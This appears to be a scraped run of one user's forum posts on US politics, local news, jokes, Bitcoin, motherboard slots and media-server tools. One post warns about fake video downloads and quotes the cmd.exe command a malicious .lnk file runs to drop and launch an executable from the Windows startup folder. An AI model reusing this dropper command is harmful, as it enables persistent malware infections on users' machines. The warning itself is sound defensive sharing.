Instead of having some form of verifiable indication, people are just supposed to "think hard"? Have you looked around lately?
The problem only gets worse with AI creeping closer.
What? I prefer knowing if someone I interact with is genuine. As opposed to Twitter, where I just know they have a recurring monthly payment.
I don't know...seems like an impossible task.
Do I have to do it tonight, or can there be a 'waiting period'? (I have nothing to wear...)
A couple weeks before the inauguration, I listened to the President/CEO of the company I work at go on an absolute rant about how Trump was going to get rid of all Biden's DEI hires, about how the Navy Chief was a woman and she would be fired, about how the fastest running time for a woman was slower than the slowest running time for a man(???), and some other, racist stuff.
I lost my train of thought...what happened?
According to this administration, the correct term is 'cosmonaut'.
Are you saying we all need to install a continually rotating VPN when we're surfing the internet? As chaff?
Here boy, here boy, drop the eggs...good boy, drop the eggs...
Two men in a boat is already pretty hot for some people.
Yeah, and when you burn that fuel it gets hotter, and that makes it a little lighter too.
Don't forget to account for all the helium leaking out of balloons. That's part of the reason the earth gets lighter too.
"Dick Wolf"
"Consider the lily. The birds then. Have they got jobs?"
Someone's been reading Asimov.
We could break up Google...or, and this is key...Google could just give several million dollars to Trump's presidential library (re: Maralago).
Is it odd that all the watchfaces I like on my Galaxy watch look just like an old-school Casio?
I say ether. Every once in a while I find someone infuriated by that, and it gives me much joy.
This is mostly caused by Africans wiring up giraffes for use as aerials to pull in distant TV stations.
Can I have two? I always wanted to do two sex robots at the same time.
If we should be angrier at the status quo, why is he defending the status quo?
To require drug testing for special Government employees, and for other purposes
Not later than 90 days after the date of the enactment of this Act, the head of each agency shall require any special Government employee in a sensitive position at the agency on the date of the enactment of this Act to be entered into a random drug testing program in accordance with the Mandatory Guidelines for Federal Workplace Drug Testing Programs.
Immigrant rights advocates are concerned what happened outside a Michigan courthouse may be part of a larger problem.
In 50 years, history will speak about ICE the way we speak about the SS now.
TIL that Fort Bragg isn't named after a Confederate general anymore. It's named after a private from WWII who's claim to fame is having the same last name as a Confederate general.
Sen. Elissa Slotkin says her job is to be more than just an ‘activist’ against Trump - mlive.com
Michigan Sen. Elissa Slotkin says it’s no secret Democrats don’t have their strategy figured out. But adds that the “yelling” of progressive Democrats like Rep. Alexandria Ocasio-Cortez and Sen. Bernie Sanders has not stopped President Donald Trump’s agenda.
cross-posted from: https://midwest.social/post/24838879
“I get it that it makes people feel good to see people yelling,” Slotkin said. “But not one of those words is stopping the actual things that Donald Trump is doing.”
Perhaps it's not working because of people like Slotkin willing to continue the losing strategies of the past.
Sen. Elissa Slotkin says her job is to be more than just an ‘activist’ against Trump - mlive.com
Michigan Sen. Elissa Slotkin says it’s no secret Democrats don’t have their strategy figured out. But adds that the “yelling” of progressive Democrats like Rep. Alexandria Ocasio-Cortez and Sen. Bernie Sanders has not stopped President Donald Trump’s agenda.
“I get it that it makes people feel good to see people yelling,” Slotkin said. “But not one of those words is stopping the actual things that Donald Trump is doing.”
Perhaps it's not working because of people like Slotkin willing to continue the losing strategies of the past.
After hit-and-run, supporters buy injured cyclist a car: ‘He’s got a whole village’ - mlive.com
A Walgreens clerk biking home was hurt badly in a hit-and-run crash. The community has since rallied to buy him a car.
TJ Day liked riding his bike to and from work at Walgreens. It helped him stay fit and gave him time to wind down in the evening.
He wore a reflective vest, helmet and added lights to the front and back of his bike for safety. He did everything right, said his sister Kelli Day.
Still, TJ was hit by a car on his way home from work on Feb. 18.
Another driver who found him in a snowbank on Lovers Lane near Stryker Way after the hit-and-run. That driver stayed in contact, and later offered to buy TJ a new bike. But in the meantime, supporters of TJ had already raised more than $20,000 to buy him a car.
As of Thursday, March 6, a GoFundMe Kelli organized has raised $23,427, with a goal of $28,000.
TJ has always been apprehensive about driving, but now he’s more nervous of biking, Kelli said. The generosity of his community will help him get a safe and reliable car.
Malware Warning on video files
I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I've gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:
%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c="%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUPUsername%.exe"&(If not exist !c! Findstr/v "cmd.EXE Rj%TIME:7,1%%TIME:-2%" !el!.Lnk>!c!&Start "" !c!)&CD %tmp%&Echo.>!
As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it's in your startup folder, it will run again every time you reboot.
The tracker is theRARBG, but it could also come from elsewhere. I've found it on a couple of different sho
Are there any honest benefits to a Federal Strategic Bitcoin Reserve?
I can't think of any. The current oil reserve is supposed to be used in the case of another oil embargo. But its actual use is to lower gas prices when the administration in power needs a political win.
I actually think the purpose of a Bitcoin reserve is to temporarily increase the price so tech-bros (re: Elon) can sell at a massive profit. Then buy back at a much lower price. It's just a way to indirectly transfer federal dollars into administration pockets.
I can't find any reason for the government to buy crypto and hold it in reserve.
Live Updates: Investigators of C.E.O.’s Killing Are Questioning a Man in Pennsylvania
An oldy...
Remember when Donald Trump was president, in the lobotomized body of Bill the Cat? Haha good times.
Are the MST3K streams on Youtube worth ripping?
I've seen a lot of official MST3K (Mystery Science Theater 3000, ya boob) getting streamed on Youtube. I have a lot of these already from quite a while ago, sourced from various places. Some from my own DVD rips (thanks Netflix), downloaded DVD rips, and a small amount of "lost" content coming from VHS rips off broadcast.
Are the Youtube streams worth archiving? I was specifically looking at a livestream for Season 1 that "includes lost host segments". I was going to download it through Newpipe, but I didn't see the option on this stream (granted, I didn't look too deeply).
Are these streams worth the time if I already have the episodes? Have they been cleaned-up in any way?
FTC Non-compete rule published in Federal Register
This goes into effect September 4, 2024. Employers with existing non-compete agreements must post the notice on page 163 (38504). After that date you may accept a job offer from anybody, including a direct competitor, and not worry about violating any non-compete agreement.
PCIe slots and compatibility
B760 GAMING PLUS WIFI is designed with tons of connectivity, flexible tools, and convenient Wi-Fi solution with DDR5 memory version for gamers who want all.
I recently bought this motherboard, based on descriptions on pcpartpicker.com and B&H's website. Both sites claim the board has 5 PCIe x16 slots (2x version 4, and 3x version 3). But I have the board in front of me, and while it certainly has full length slots, most of the pins are missing in all but one of them. Closer examination of the MSI website has this to say:
- 5x PCI-E x16 slot
- PCI_E1 Gen PCIe 4.0 supports up to x16 (From CPU)
- PCI_E2 Gen PCIe 3.0 supports up to x1 (From Chipset)
- PCI_E3 Gen PCIe 4.0 supports up to x4 (From Chipset)
- PCI_E4 Gen PCIe 3.0 supports up to x1 (From Chipset)
- PCI_E5 Gen PCIe 3.0 supports up to x1 (From Chipset)
Have I been swindled? Am I just stupid or ignorant?
Followup on the vehicle "kill switch" mandated by the Infrastructure Bill
From my previous comment, it looks like NHTSA is moving faster than I predicted. We're now at step 1, with this Advance Notice of Proposed Rulemaking.
(edit: I jumped the gun, we're still at step '0' on my original list)
Most of this notice seems to be a report on why 'impaired driving' is bad. I see alcohol, cannabis, mobile phone use, drowsiness...etc.
Due to technology immaturity and a lack of testing protocols, drugged driving is not being considered in this advance notice of proposed rulemaking.
Makes sense.
There is no clear and consistent engineering or industry definition of ‘‘impairment.’’
Yep, another unclear request by Congress.
NHTSA believes that Congress did not intend to limit NHTSA’s efforts under BIL to alcohol impairment.
Okay, that's fair.
Camera-based-systems, however, are increasingly feasible and common in vehicles.
Uh-oh...
The Safety Act also contains a ‘‘make inoperative’’ provision, which prohibit
There is nothing of which a trained hypnotist can't convince themselves.
Can I override Sonarr season numbers
I'm trying to finish grabbing a show, but Sonarr says the final season is #3, while the rest of the internet (i.e. torrent sites) says that season is #5. It looks like the first 2 seasons were split up into 1/2 seasons when originally shown. So while Sonarr is looking for Season 3, it's finding the first half of what it thinks is Season 2.